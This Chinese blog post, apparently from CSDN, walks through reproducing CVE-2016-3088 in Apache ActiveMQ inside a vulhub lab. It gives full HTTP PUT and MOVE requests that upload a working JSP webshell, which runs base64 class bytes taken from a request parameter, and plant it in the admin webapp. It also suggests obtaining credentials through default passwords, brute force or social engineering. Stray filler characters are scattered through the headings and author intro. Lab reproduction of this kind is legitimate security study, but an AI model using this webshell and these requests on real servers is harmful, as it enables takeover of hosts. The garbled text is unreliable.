🍬 博主介绍
👨🎓 博主介绍:大家好,漏洞我是复现 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,任入漏欢迎各位大佬指点,意文相互学习进步!漏洞
文章目录
- 🍬 博主介绍
- 一、复现漏洞编号
- 二、任入漏影响范围
- 三、意文漏洞描述
- 四、漏洞ActiveMQ指纹信息
- 五、复现环境搭建
- 1、任入漏切换到CVE-2016-3088目录
- 2、意文启动CVE-2016-3088环境
- 3、漏洞查看CVE-2016-3088环境
- 4、复现访问CVE-2016-3088环境
- 5、任入漏查看CVE-2016-3088提示信息
- 6、关闭CVE-2016-3088环境
- 六、漏洞复现(webshell控制)
- 利用步骤
- 利用步骤
- 1、获取admin应用的用户名和密码
- 2、获取ActiveMQ的绝对路径
- 3、上传webshell
- 4、将webshell移动到admin所在文件夹
- 5、连接webshell
- 七、相关资源
一、漏洞编号
CVE-2016-3088
二、影响范围
Apache ActiveMQ 5.x - 5.14.0
三、漏洞描述
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
四、ActiveMQ指纹信息
[{ "match": "port_contains", "content": "8161" }, { "match": "server_contains", "content": "jetty" }], [ { "match": "banner_contains", "content": "server:activemq" }], [ { "match": "header_contains", "content": "realm=\"activemqrealm" }, { "match": "banner_contains", "content": "magic:activemq" }], [ { "match": "banner_contains", "content": "realm=\"activemqrealm" }]
五、环境搭建
采用vulhub环境
1、切换到CVE-2016-3088目录
cd vulhub/activemq/CVE-2016-3088
2、启动CVE-2016-3088环境
docker-compose up -d
3、查看CVE-2016-3088环境
docker-compose ps
4、访问CVE-2016-3088环境
http://ip:8161
5、查看CVE-2016-3088提示信息
cat README.md
6、关闭CVE-2016-3088环境
复现完毕记得关闭环境
docker-compose down
六、漏洞复现(webshell控制)
这个漏洞需要知道ActiveMQ的绝对路径,需要能登录admin或者api
ActiveMQ的绝对路径可以通过ttp://your-ip:8161/admin/test/systemProperties.jsp页面获取。
而这个页面也需要登录admin之后才能访问。
所以需要获取admin应用的用户名和密码
利用步骤
1、获取用户名和密码
2、获取ActiveMQ的绝对路径
3、上传webshell
4、将webshell移动到admin所在文件夹
5、连接webshell,获取主机权限
利用步骤
1、获取admin应用的用户名和密码
vulhub的默认用户名和密码都是admin
真实环境可通过以下几种方式获取用户名密码:
尝试默认用户名和密码尝试弱口令(暴力破解)社工
这里就不详细不详细说了,一般来说利用bp进行bacis认证爆破用的比较多,我之前有一篇文章写的很详细,感兴趣的可以看一看
https://blog.csdn.net/qq_51577576/article/details/126910831
2、获取ActiveMQ的绝对路径
得到admin应用的用户名和密码之后,就可以访问如下网页
http://192.168.13.131:8161/admin/test/systemProperties.jsp
获取ActiveMQ的绝对路径了。这个网页有很多信息,这里不展开说了。
3、上传webshell
先得把webshell上传到fileserver,之后才能从fileserver转移。由于ActiveMQ是个java程序,因此需要传个jsp webshell。
在网上找了个jsp webshell:蚁剑jsp一句话木马(https://blog.csdn.net/qq_43615820/article/details/116357744)
用PUT方法把webshell上传到fileserver:
PUT /fileserver/_PowerShell.jsp HTTP/1.1Host: 192.168.13.131:8161User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Authorization: Basic YWRtaW46YWRtaW4=Content-Length: 782<%!class U extends ClassLoader { U(ClassLoader c) { super(c);}public Class g(byte[] b) { return super.defineClass(b, 0, b.length);}} public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) { Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}%><%String cls = request.getParameter("passwd");if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}%>
上传成功
Response报文状态码204表示上传成功
验证以下是否上传成功,出现如下页面就是上传成功
http://192.168.13.131:8161/fileserver/_PowerShell.jsp
4、将webshell移动到admin所在文件夹
用MOVE方法进行webshell的移动
MOVE /fileserver/_PowerShell.jsp HTTP/1.1Authorization: Basic YWRtaW46YWRtaW4=Destination: file:///opt/apache-activemq-5.11.1/webapps/admin/_PowerShell.jspHost: 192.168.13.131:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0
同样,Response报文状态码204表示移动成功:
5、连接webshell
这里用蚁剑演示一下,重点是记住admin应用是需要登录的,所以记得一定要在连接中添加Authorization头。
基础配置
请求信息
连接成功,提示也就意味着我们的服务器失陷了
终端管理
七、相关资源
1、[ vulhub漏洞复现篇 ] ActiveMQ反序列化漏洞复现(CVE-2015-5254)
https://blog.csdn.net/qq_51577576/article/details/126332307
2、[ web基础篇 ] Burp Suite 爆破 Basic 认证密码
ttps://blog.csdn.net/qq_51577576/article/details/126910831
3、蚁剑安装以及使用方法
https://blog.csdn.net/qq_45951598/article/details/108585696
4、jsp一句话木马
https://blog.csdn.net/qq_45951598/article/details/108585696